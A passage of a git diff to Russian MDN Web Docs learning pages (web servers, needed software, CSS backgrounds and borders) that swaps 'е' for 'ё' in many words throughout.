веб-сервере, который:</p> <ul> <li>всегда запущен и работает</li> - <li>всегда подключен к Интернету</li> + <li>всегда подключён к Интернету</li> <li>имеет неизменный IP адрес (не все {{Glossary("ISP", "провайдеры")}} предоставляют статический IP-адрес для домашнего подключения)</li> <li>обслуживается третьей, сторонней компанией</li> </ul> @@ -85,10 +85,10 @@ original_slug: Learn/Что_такое_веб_сервер <dt><strong>Текстовый</strong></dt> <dd>Все команды являются простым человекочитаемым текстом.</dd> <dt><strong>Не сохраняет состояние</strong></dt> - <dd>Ни клиент, ни сервер не помнят о предыдущих соединениях. Например, опираясь только на HTTP, сервер не сможет вспомнить введенный вами пароль или на каком шаге транзакции вы находитесь. Для таких задач, вам потребуется сервер приложения. (Мы остановимся на этих технологиях в следующих статьях.)</dd> + <dd>Ни клиент, ни сервер не помнят о предыдущих соединениях. Например, опираясь только на HTTP, сервер не сможет вспомнить введённый вами пароль или на каком шаге транзакции вы находитесь. Для таких задач, вам потребуется сервер приложения. (Мы остановимся на этих технологиях в следующих статьях.)</dd> </dl> -<p>HTTP задает строгие правила взаимодействия клиента и сервера. Мы рассмотрим сам протокол HTTP в <a href="/ru/docs/Web/HTTP">технической статье</a> немного позднее. Пока достаточно знать об этих правилах:</p> +<p>HTTP задаёт строгие правила взаимодействия клиента и сервера. Мы рассмотрим сам протокол HTTP в <a href="/ru/docs/Web/HTTP">технической статье</a> немного позднее. Пока достаточно знать об этих правилах:</p> <ul> <li>Исключительно <em>клиенты</em> могут производить HTTP-запросы, и только на <em>сервера</em>. Сервера способны только отвечать на HTTP-<em>запросы клиента</em>.</li> @@ -106,13 +106,13 @@ original_slug: Learn/Что_такое_веб_сервер <h2 id="Статический_и_Динамический_контент">Статический и Динамический контент</h2> -<p>Грубо говоря, сервер может отдавать статическое или динамическое содержимое.<strong> </strong><span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>Статическое<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span> означает <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>отдается как есть<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>. Статические веб-сайты делаются проще всего, поэтому мы предлагаем вам сделать свой первый сайт статическим.</p> +<p>Грубо говоря, сервер может отдавать статическое или динамическое содержимое.<strong> </strong><span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>Статическое<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span> означает <span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>отдаётся как есть<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span>. Статические веб-сайты делаются проще всего, поэтому мы предлагаем вам сделать свой первый сайт статическим.</p> <p><span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">«</span>Динамическое<span style="background-color: #ffffff; color: #222222; display: inline !important; float: none; font-family: sans-serif; font-size: 14px; font-style: normal; font-weight: normal; letter-spacing: normal; text-align: start; text-decoration-style: initial; text-indent: 0px; text-transform: none; white-space: normal;">»</span> означает, что сервер обрабатывает данные или даже генерирует их на лету из базы данных. Это обеспечивает большую гибкость, но технически сложнее в реализации и обслуживании, из-за чего процесс создания сайта очень сильно усложняется.</p> -<p>Возьмем для примера страницу, которую вы сейчас читаете. На веб-сервере, где она хостится, есть сервер приложения, который извлекает содержимое статьи из базы данных, форматирует его, добавляет в HTML-шаблоны и отправляет вам результат. В нашем случае, сервер приложения называется <a href="/en-US/docs/MDN/Kuma">Kuma</a>, написан он на языке программирования <a href="https://www.python.org/">Python</a> (используя фреймворк <a href="https://www.djangoproject.com/">Django</a>). Команда Mozilla создала <cite>Kuma</cite> для конкретных нужд MDN, но есть множество подобных приложений, построенных совершенно на других технологиях.</p> +<p>Возьмём для примера страницу, которую вы сейчас читаете. На веб-сервере, где она хостится, есть сервер приложения, который извлекает содержимое статьи из базы данных, форматирует его, добавляет в HTML-шаблоны и отправляет вам результат. В нашем случае, сервер приложения называется <a href="/en-US/docs/MDN/Kuma">Kuma</a>, написан он на языке программирования <a href="https://www.python.org/">Python</a> (используя фреймворк <a href="https://www.djangoproject.com/">Django</a>). Команда Mozilla создала <cite>Kuma</cite> для конкретных нужд MDN, но есть множество подобных приложений, построенных совершенно на других технологиях.</p> -<p>Существует так много серверов приложений, что довольно трудно предложить какой-то один. Некоторые серверы приложений заточены под определенные категории веб-сайтов, такие как блоги, вики-страницы или интернет-магазины; другие, называемые {{Glossary("CMS", "CMSs")}} (системы управления контентом), более универсальны. Если вы создаете динамический сайт, потратьте немного времени на выбор инструмента, который соответствует вашим потребностям. Если вы не хотите изучать веб-программирование (хотя это увлекательно само по себе!), то вам не нужно создавать свой собственный сервер приложения. Это будет изобретением очередного велосипеда.</p> +<p>Существует так много серверов приложений, что довольно трудно предложить какой-то один. Некоторые серверы приложений заточены под определённые категории веб-сайтов, такие как блоги, вики-страницы или интернет-магазины; другие, называемые {{Glossary("CMS", "CMSs")}} (системы управления контентом), более универсальны. Если вы создаёте динамический сайт, потратьте немного времени на выбор инструмента, который соответствует вашим потребностям. Если вы не хотите изучать веб-программирование (хотя это увлекательно само по себе!), то вам не нужно создавать свой собственный сервер приложения. Это будет изобретением очередного велосипеда.</p> <h2 id="Следующие_шаги">Следующие шаги</h2> diff --git a/files/ru/learn/common_questions/what_software_do_i_need/index.html b/files/ru/learn/common_questions/what_software_do_i_need/index.html index bb0e3e1b5e..9dcefce216 100644 --- a/files/ru/learn/common_questions/what_software_do_i_need/index.html +++ b/files/ru/learn/common_questions/what_software_do_i_need/index.html @@ -34,7 +34,7 @@ translation_of: Learn/Common_questions/What_software_do_I_need <h3 id="Создание_и_редактирование_веб-страниц">Создание и редактирование веб-страниц</h3> -<p>Для создания и редактирования веб-страниц необходим текстовый редактор. Тестовые редакторы создают и изменяют неотформатированные текстовые файлы. (Другие форматы, такие как <strong>{{Glossary("RTF")}}</strong>, позволяют добавить форматирование, такое как полужирное или подчеркивание. Эти форматы не подходят для написания веб-страниц.) Вам следует выбирать текстовый редактор с умом, так как вы будете активно работать с ним, при создании веб-сайта.</p> +<p>Для создания и редактирования веб-страниц необходим текстовый редактор. Тестовые редакторы создают и изменяют неотформатированные текстовые файлы. (Другие форматы, такие как <strong>{{Glossary("RTF")}}</strong>, позволяют добавить форматирование, такое как полужирное или подчёркивание. Эти форматы не подходят для написания веб-страниц.) Вам следует выбирать текстовый редактор с умом, так как вы будете активно работать с ним, при создании веб-сайта.</p> <p>Все настольные операционные системы поставляются с основным текстовым редактором. Они просты, но не имеют специальных возможностей для кодирования веб-страниц. Если вы хотите что-то более интересное, то доступно много сторонних инструментов. Сторонние редакторы часто поставляются с дополнительными функциями, включая подсветку синтаксиса, автозавершение, сворачиваемые блоки кода и поиск кода. Вот краткий список редакторов:</p> @@ -97,7 +97,7 @@ translation_of: Learn/Common_questions/What_software_do_I_need <h3 id="Загрузка_файлов_в_Интернете">Загрузка файлов в Интернете</h3> -<p>Когда ваш сайт будет готов для публичного просмотра, вам придется загрузить свои веб-страницы на веб-сервер. Вы можете купить место на сервере у различных провайдеров (см. <a href="/en-US/docs/Learn/How_much_does_it_cost">Сколько стоит делать что-то в Интернете?</a>). После того, как вы решите, какого провайдера использовать, провайдер отправит вам по электронной почте информацию о доступе к протоколу FTP (протокол передачи файлов). Загрузка файлов на веб-сервер является важным шагом при создании сайта, поэтому мы подробно расскажем об этом <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">в отдельной статье</a>. А сейчас, вот краткий список бесплатных базовых FTP-клиентов:</p> +<p>Когда ваш сайт будет готов для публичного просмотра, вам придётся загрузить свои веб-страницы на веб-сервер. Вы можете купить место на сервере у различных провайдеров (см. <a href="/en-US/docs/Learn/How_much_does_it_cost">Сколько стоит делать что-то в Интернете?</a>). После того, как вы решите, какого провайдера использовать, провайдер отправит вам по электронной почте информацию о доступе к протоколу FTP (протокол передачи файлов). Загрузка файлов на веб-сервер является важным шагом при создании сайта, поэтому мы подробно расскажем об этом <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">в отдельной статье</a>. А сейчас, вот краткий список бесплатных базовых FTP-клиентов:</p> <table class="standard-table"> <thead> @@ -139,11 +139,11 @@ translation_of: Learn/Common_questions/What_software_do_I_need <li><a href="http://www.apple.com/safari/" rel="external">Apple Safari</a></li> </ul> -<p>Если вы ориентируетесь на определенную группу (например, техническую платформу или страну), возможно, вам придется протестировать ваш сайт с помощью дополнительных браузеров, таких как <a href="http://www.opera.com/" rel="external">Opera</a>, <a href="http://www.konqueror.org/">Konqueror</a>, или<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>.</p> +<p>Если вы ориентируетесь на определённую группу (например, техническую платформу или страну), возможно, вам придётся протестировать ваш сайт с помощью дополнительных браузеров, таких как <a href="http://www.opera.com/" rel="external">Opera</a>, <a href="http://www.konqueror.org/">Konqueror</a>, или<a href="http://www.ucweb.com/ucbrowser/" rel="external"> UC Browser</a>.</p> -<p>Но тестирование усложняется, потому что некоторые браузеры работают только в определенных операционных системах. Apple Safari работает на iOS и Mac OS, а Internet Explorer работает только в Windows. Поэтому лучше воспользоваться такими сервисами, как <a href="http://browsershots.org/" rel="external">Browsershots</a> или <a href="http://www.browserstack.com/" rel="external">Browserstack</a>. Browsershots предоставляет скриншоты вашего сайта, того как ваш сайт будет выглядеть в различных браузерах. Browserstack фактически предоставляет вам полный удаленный доступ к виртуальным машинам, поэтому вы можете протестировать ваш сайт в наиболее распространенных средах. Кроме того, вы можете настроить свою собственную виртуальную машину, но это требует некоторого опыта. (Если вы следуете этому пути, Microsoft имеет инструменты для разработчиков, включая готовую к использованию виртуальную машину на <a href="https://modern.ie" rel="external">modern.ie</a>.)</p> +<p>Но тестирование усложняется, потому что некоторые браузеры работают только в определённых операционных системах. Apple Safari работает на iOS и Mac OS, а Internet Explorer работает только в Windows. Поэтому лучше воспользоваться такими сервисами, как <a href="http://browsershots.org/" rel="external">Browsershots</a> или <a href="http://www.browserstack.com/" rel="external">Browserstack</a>. Browsershots предоставляет скриншоты вашего сайта, того как ваш сайт будет выглядеть в различных браузерах. Browserstack фактически предоставляет вам полный удалённый доступ к виртуальным машинам, поэтому вы можете протестировать ваш сайт в наиболее распространённых средах. Кроме того, вы можете настроить свою собственную виртуальную машину, но это требует некоторого опыта. (Если вы следуете этому пути, Microsoft имеет инструменты для разработчиков, включая готовую к использованию виртуальную машину на <a href="https://modern.ie" rel="external">modern.ie</a>.)</p> -<p>Обязательно проведите тестирование на реальном устройстве, особенно на реальных мобильных устройствах. Симуляция мобильных устройств - это новая, развивающаяся технология и менее надежна, чем симуляция настольных устройств. Разумеется, мобильные устройства стоят денег, поэтому мы предлагаем взглянуть на <a href="http://opendevicelab.com/" rel="external">Open Device Lab initiative</a>. Вы также можете обмениваться устройствами, если вы хотите протестировать на многих платформах, не тратя слишком много.</p> +<p>Обязательно проведите тестирование на реальном устройстве, особенно на реальных мобильных устройствах. Симуляция мобильных устройств - это новая, развивающаяся технология и менее надёжна, чем симуляция настольных устройств. Разумеется, мобильные устройства стоят денег, поэтому мы предлагаем взглянуть на <a href="http://opendevicelab.com/" rel="external">Open Device Lab initiative</a>. Вы также можете обмениваться устройствами, если вы хотите протестировать на многих платформах, не тратя слишком много.</p> <h2 id="Следующие_шаги">Следующие шаги</h2> diff --git a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html index c7c6b3549e..71587be09c 100644 --- a/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html +++ b/files/ru/learn/css/building_blocks/backgrounds_and_borders/index.html @@ -15,7 +15,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders --- <div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/The_box_model", "Learn/CSS/Building_blocks/Handling_different_text_directions", "Learn/CSS/Building_blocks")}}</div> -<p><span class="tlid-translation translation" lang="ru"><span title="">В этом уроке мы рассмотрим некоторые интересные возможности, которые вы можете сделать с помощью CSS свойств фона и границ .</span> <span title="">Благодаря добавлению градиентов, фоновых изображений и закругленных углов свойства фона и границ ответят на многие вопросы стилизации в CSS.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В этом уроке мы рассмотрим некоторые интересные возможности, которые вы можете сделать с помощью CSS свойств фона и границ .</span> <span title="">Благодаря добавлению градиентов, фоновых изображений и закруглённых углов свойства фона и границ ответят на многие вопросы стилизации в CSS.</span></span></p> <table class="learn-box standard-table"> <tbody> @@ -40,13 +40,13 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders } </code> </pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Мы вернемся к тому, как работает сокращение </span></span>позже<span class="tlid-translation translation" lang="ru"><span title="">, </span></span>а пока<span class="tlid-translation translation" lang="ru"><span title=""> давайте взглянем на различные вещи, которые вы можете делать с фоном в CSS, посмотрев на отдельные свойства </span></span><code>background</code><span class="tlid-translation translation" lang="ru"><span title="">.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы вернёмся к тому, как работает сокращение </span></span>позже<span class="tlid-translation translation" lang="ru"><span title="">, </span></span>а пока<span class="tlid-translation translation" lang="ru"><span title=""> давайте взглянем на различные вещи, которые вы можете делать с фоном в CSS, посмотрев на отдельные свойства </span></span><code>background</code><span class="tlid-translation translation" lang="ru"><span title="">.</span></span></p> <h3 id="Фоновый_цвет">Фоновый цвет</h3> <p><span class="tlid-translation translation" lang="ru"><span title="">Свойство {{cssxref ("background-color")}} определяет цвет фона для любого элемента в CSS.</span> <span title="">Свойство принимает любой допустимый </span></span>цвет<span class="tlid-translation translation" lang="ru"><span title=""> </span></span><code><a href="/ru/docs/Web/CSS/color_value"><color></a></code><span class="tlid-translation translation" lang="ru"><span title="">.</span> </span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title=""> распространяется на сам контент и отступы от него </span></span>(padding)<span class="tlid-translation translation" lang="ru"><span title="">.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">В приведенном ниже примере мы использовали различные значения цвета, чтобы добавить цвет фона к блоку, заголовку и элементу {{htmlelement ("span")}}.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В приведённом ниже примере мы использовали различные значения цвета, чтобы добавить цвет фона к блоку, заголовку и элементу {{htmlelement ("span")}}.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title=""><strong>Поиграйте с ними, используя любое доступное значение</strong> </span></span><strong><a href="/ru/docs/Web/CSS/color_value"><color></a><span class="tlid-translation translation" lang="ru"><span title="">.</span></span></strong></p> @@ -54,14 +54,14 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <h3 id="Фоновое_изображение">Фоновое изображение</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Свойство {{cssxref ("background-image")}} позволяет отображать изображение </span></span>в качестве фона элемента<span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">В приведенном ниже примере у нас есть два блока </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> в одном фоновое изображение больше, чем размеры блока, а в другом - маленькое изображение звезды.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Свойство {{cssxref ("background-image")}} позволяет отображать изображение </span></span>в качестве фона элемента<span class="tlid-translation translation" lang="ru"><span title="">.</span> <span title="">В приведённом ниже примере у нас есть два блока </span></span>—<span class="tlid-translation translation" lang="ru"><span title=""> в одном фоновое изображение больше, чем размеры блока, а в другом - маленькое изображение звезды.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Этот пример демонстрирует две </span></span>особенности<span class="tlid-translation translation" lang="ru"><span title=""> фоновых изображений.</span> <span title="">По умолчанию большое изображение не масштабируется до размера блока, поэтому мы видим только его небольшой угол, в то время как маленькое изображение повторяется, чтобы заполнить весь блок.</span> <span title="">В нашем случае фактически было использовано изображение одной маленькой звезды.</span></span></p> <p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/background-image.html", '100%', 600)}}</p> <div class="blockIndicator note"> -<p><strong>Если кроме фонового изображения вы добавили фоновый цвет, то изображение будет отображаться над цветом.</strong> Попробуйте добавить свойство <code>background-color</code> в <span class="tlid-translation translation" lang="ru"><span title="">приведенный выше пример, чтобы увидеть это в действии.</span></span></p> +<p><strong>Если кроме фонового изображения вы добавили фоновый цвет, то изображение будет отображаться над цветом.</strong> Попробуйте добавить свойство <code>background-color</code> в <span class="tlid-translation translation" lang="ru"><span title="">приведённый выше пример, чтобы увидеть это в действии.</span></span></p> </div> <h4 id="Свойство_background-repeat">Свойство background-repeat</h4> @@ -81,7 +81,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <h4 id="Изменение_размеров_фонового_изображения">Изменение размеров фонового изображения</h4> -<p><span class="tlid-translation translation" lang="ru"><span title="">В приведенном выше примере у нас есть большое изображение, которое в конечном итоге было обрезано, так как оно больше, чем элемент, фоном которого оно является.</span> <span title="">В этом случае мы могли бы использовать свойство {{cssxref ("background-size")}}, которое может принимать значения </span></span><a href="/ru/docs/Web/CSS/размер">длины</a><span class="tlid-translation translation" lang="ru"><span title=""> или в <a href="/ru/docs/Web/CSS/percentage">процентах</a>, чтобы размер изображения соответствовал размеру фона.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В приведённом выше примере у нас есть большое изображение, которое в конечном итоге было обрезано, так как оно больше, чем элемент, фоном которого оно является.</span> <span title="">В этом случае мы могли бы использовать свойство {{cssxref ("background-size")}}, которое может принимать значения </span></span><a href="/ru/docs/Web/CSS/размер">длины</a><span class="tlid-translation translation" lang="ru"><span title=""> или в <a href="/ru/docs/Web/CSS/percentage">процентах</a>, чтобы размер изображения соответствовал размеру фона.</span></span></p> <p><span class="tlid-translation translation" lang="ru"><span title="">Вы также можете использовать ключевые слова</span></span>:</p> @@ -92,7 +92,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p>Ниже я применил значения длины к размерам изображения. Глядите, как это исказило изображение.</p> -<p><span class="tlid-translation translation" lang="ru"><span title="">В приведенном ниже примере я использовал большое изображение из ранее рассмотренного примера и указал значения длины, чтобы определить его размер внутри блока.</span> <span title="">Вы можете посмотреть, как это исказило изображение.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">В приведённом ниже примере я использовал большое изображение из ранее рассмотренного примера и указал значения длины, чтобы определить его размер внутри блока.</span> <span title="">Вы можете посмотреть, как это исказило изображение.</span></span></p> <p>Попробуйте следующее.</p> @@ -140,7 +140,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders background-position: top 20px; }</pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">И наконец, вы также можете использовать синтаксис с четырьмя значениями, чтобы указать расстояние от определенных краёв блока - единица длины в данном случае представляет собой смещение от значения ключевого слова.</span> <span title="">Итак, в CSS ниже мы сместили фон на 20 пикселей сверху и на 10 пикселей справа:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">И наконец, вы также можете использовать синтаксис с четырьмя значениями, чтобы указать расстояние от определённых краёв блока - единица длины в данном случае представляет собой смещение от значения ключевого слова.</span> <span title="">Итак, в CSS ниже мы сместили фон на 20 пикселей сверху и на 10 пикселей справа:</span></span></p> <pre class="brush: css notranslate"><code>.box { background-image: url(star.png); @@ -148,7 +148,7 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders background-position: top 20px right 10px; } </code></pre> -<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Используйте приведенный ниже пример, чтобы поэкспериментировать с этими значениями и переместить звезду внутри блока.</span></span></strong></p> +<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Используйте приведённый ниже пример, чтобы поэкспериментировать с этими значениями и переместить звезду внутри блока.</span></span></strong></p> <p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/position.html", '100%', 480)}}</p> @@ -176,15 +176,15 @@ translation_of: Learn/CSS/Building_blocks/Backgrounds_and_borders <p><strong>Примечание</strong>: Градиенты можно <span class="tlid-translation translation" lang="ru"><span title="">легко смешивать с обычными фоновыми изображениями</span></span>.</p> </div> -<p><span class="tlid-translation translation" lang="ru"><span title="">Другие свойства <code>background- *</code> также могут иметь значения, разделенные запятыми, как и <code>background-image</code>:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Другие свойства <code>background- *</code> также могут иметь значения, разделённые запятыми, как и <code>background-image</code>:</span></span></p> <pre class="brush: css notranslate">background-image: url(image1.png), url(image2.png), url(image3.png), url(image1.png); background-repeat: no-repeat, repeat-x, repeat; background-position: 10px 20px, top right;</pre> -<p><span class="tlid-translation translation" lang="ru"><span title="">Каждое значение различных свойств будет соответствовать значениям в той же позиции в других свойствах.</span> <span title="">Выше, например, значение <code>background-repeat</code> для <code>image1</code> будет <code>no-repeat</code>.</span> <span title="">Однако, что происходит, когда разные свойства имеют разное количество значений?</span> <span title="">Ответ заключается в том, что меньшее количество значений будет циклически повторяться - в приведенном выше примере есть четыре фоновых изображения, и только два значения <code>background-position</code>.</span> <span title="">Первые два значения позиции будут применены к первым двум изображениям, затем они снова будут циклически повторяться - <code>image3</code> будет присвоено первое значение позиции, а <code>image4</code> будет присвоено второе значение позиции.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Каждое значение различных свойств будет соответствовать значениям в той же позиции в других свойствах.</span> <span title="">Выше, например, значение <code>background-repeat</code> для <code>image1</code> будет <code>no-repeat</code>.</span> <span title="">Однако, что происходит, когда разные свойства имеют разное количество значений?</span> <span title="">Ответ заключается в том, что меньшее количество значений будет циклически повторяться - в приведённом выше примере есть четыре фоновых изображения, и только два значения <code>background-position</code>.</span> <span title="">Первые два значения позиции будут применены к первым двум изображениям, затем они снова будут циклически повторяться - <code>image3</code> будет присвоено первое значение позиции, а <code>image4</code> будет присвоено второе значение позиции.</span></span></p> -<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Поиграем?</span> <span title="">В приведенном ниже примере я добавил два изображения.</span> <span title="">Чтобы продемонстрировать порядок наложения, попробуйте </span></span>поменять порядок фоновых изображений<span class="tlid-translation translation" lang="ru"><span title=""> в списке.</span> <span title="">Или поиграйте с другими свойствами, чтобы изменить положение, размер или повторяемость значений.</span></span></strong></p> +<p><strong><span class="tlid-translation translation" lang="ru"><span title="">Поиграем?</span> <span title="">В приведённом ниже примере я добавил два изображения.</span> <span title="">Чтобы продемонстрировать порядок наложения, попробуйте </span></span>поменять порядок фоновых изображений<span class="tlid-translation translation" lang="ru"><span title=""> в списке.</span> <span title="">Или поиграйте с другими свойствами, чтобы изменить положение, размер или повторяемость значений.</span></span></strong></p> <p>{{EmbedGHLiveSample("css-examples/learn/backgrounds-borders/multiple-background-image.html", '100%', 480)}}</p> @@ -200,17 +200,17 @@ background-position: 10px 20px, top right;</pre> <p><span class="tlid-translation translation" lang="ru"><span title="">Свойство {{cssxref ("background-attachment")}} действует только тогда, когда есть контент для прокрутки, поэтому мы сделали пример, чтобы продемонстрировать различия между тремя значениями - взгляните на </span></span><a href="http://mdn.github.io/learning-area/css/styling-boxes/backgrounds/background-attachment.html">background-attachment.html</a><span class="tlid-translation translation" lang="ru"> <span title="">(также смотри <a href="https://github.com/mdn/learning-area/tree/master/css/styling-boxes/backgrounds">исходный код</a> здесь).</span></span></p> -<h3 id="Использование_сокращенного_свойства_background"><span class="tlid-translation translation" lang="ru"><span title="">Использование сокращенного свойства background</span></span></h3> +<h3 id="Использование_сокращённого_свойства_background"><span class="tlid-translation translation" lang="ru"><span title="">Использование сокращённого свойства background</span></span></h3> <p><span class="tlid-translation translation" lang="ru"><span title="">Как я упоминал в начале этого урока, вы часто будете видеть фон, заданный с помощью свойства {{cssxref ("background")}}.</span> <span title="">Это сокращение позволяет вам одновременно устанавливать все различные свойства.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">При использовании нескольких фонов необходимо указать все свойства для первого фона, а затем добавить следующий фон после запятой.</span> <span title="">В приведенном ниже примере у нас есть градиент с размером и положением, затем фоновое изображение со значением </span></span><code>no-repeat</code><span class="tlid-translation translation" lang="ru"><span title=""> и положением, затем цвет.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">При использовании нескольких фонов необходимо указать все свойства для первого фона, а затем добавить следующий фон после запятой.</span> <span title="">В приведённом ниже примере у нас есть градиент с размером и положением, затем фоновое изображение со значением </span></span><code>no-repeat</code><span class="tlid-translation translation" lang="ru"><span title=""> и положением, затем цвет.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">При записи сокращенных значений фонового изображения необходимо соблюдать несколько правил, например:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">При записи сокращённых значений фонового изображения необходимо соблюдать несколько правил, например:</span></span></p> <ul> <li><code>background-color</code> можно указывать только после последней запятой.</li> - <li>Значения <code>background-size</code> могут быть включены только сразу после <code>background-position</code>, разделенные символом '/', например: <code>center/80%</code>. </li> + <li>Значения <code>background-size</code> могут быть включены только сразу после <code>background-position</code>, разделённые символом '/', например: <code>center/80%</code>. </li> </ul> <p><span class="tlid-translation translation" lang="ru"><span title="">Посетите страницу MDN свойства {{cssref ("background")}}, чтобы увидеть полное описание.</span></span></p> @@ -219,15 +219,15 @@ background-position: 10px 20px, top right;</pre> <h3 id="Доступность_просмотра">Доступность просмотра</h3> -<p><span class="tlid-translation translation" lang="ru"><span title="">Помещая текст поверх фонового изображения или цвета, вы должны позаботиться о том, чтобы у вас было достаточно контраста, чтобы текст был читаемым для посетителей вашего сайта.</span> <span title="">Если указывается изображение, и текст будет помещен поверх этого изображения, вы также должны указать </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title="">, который позволит тексту быть разборчивым, если изображение не загружается.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Помещая текст поверх фонового изображения или цвета, вы должны позаботиться о том, чтобы у вас было достаточно контраста, чтобы текст был читаемым для посетителей вашего сайта.</span> <span title="">Если указывается изображение, и текст будет помещён поверх этого изображения, вы также должны указать </span></span><code>background-color</code><span class="tlid-translation translation" lang="ru"><span title="">, который позволит тексту быть разборчивым, если изображение не загружается.</span></span></p> <p>Программы чтения с экрана не могут анализировать фоновые изображения, поэтому они должны быть чисто декоративными; любой важный контент должен быть частью HTML-страницы, а не находиться в фоне.</p> <h2 id="Границы">Границы</h2> -<p><span class="tlid-translation translation" lang="ru"><span title="">Изучая Блочную модель, мы обнаружили, как границы влияют на размер нашего блока.</span> <span title="">В этом уроке мы рассмотрим, как творчески использовать границы.</span> <span title="">Обычно, когда мы добавляем границы к элементу с помощью CSS, мы используем сокращенное свойство, которое устанавливает цвет, ширину и стиль границы в одной строке CSS.</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Изучая Блочную модель, мы обнаружили, как границы влияют на размер нашего блока.</span> <span title="">В этом уроке мы рассмотрим, как творчески использовать границы.</span> <span title="">Обычно, когда мы добавляем границы к элементу с помощью CSS, мы используем сокращённое свойство, которое устанавливает цвет, ширину и стиль границы в одной строке CSS.</span></span></p> -<p><span class="tlid-translation translation" lang="ru"><span title="">Мы можем установить границу для всех четырех сторон блока с помощью {{cssxref ("border")}}:</span></span></p> +<p><span class="tlid-translation translation" lang="ru"><span title="">Мы можем установить границу для всех четырёх сторон блока с помощью {{cssxref ("border")}}:</span></span></p> <pre class="brush: css notranslate"><code>.box { border: 1px solid black; @@ -259,7 +259,7 @@ background-position: 10px 20px, top right;</pre> <p><strong><span class="tlid-translation translation" lang="ru"><span title="">Примечание</span></span></strong>: <span class="tlid-translation translation" lang="ru"><span title="">Свойства границ </span></span>top, right, bottom, и left<span class="tlid-translation translation" lang="ru"><span title=""> также имеют сопоставленные <em>логические</em> свойства, которые относятся к режиму написания документа (например, текст слева направо, справа налево или сверху вниз).</span></span> <span class="tlid-translation translation" lang="ru"><span title="">Мы рассмотрим их в следующем уроке, который касается <a href="/ru/docs/CSS/Building_blocks/Handling_different_text_directions">работы с разными направлениями текста</a>.</span></span></p> </div> -<p><strong>Есть множество стилей, которые вы можете использовать для границ. В приведенном ниже примере мы использовали <span class="tlid-translation translation" lang="ru"><span title="">разные стили границ для четырех сторон моего блока</span></span>. Поиграйте со 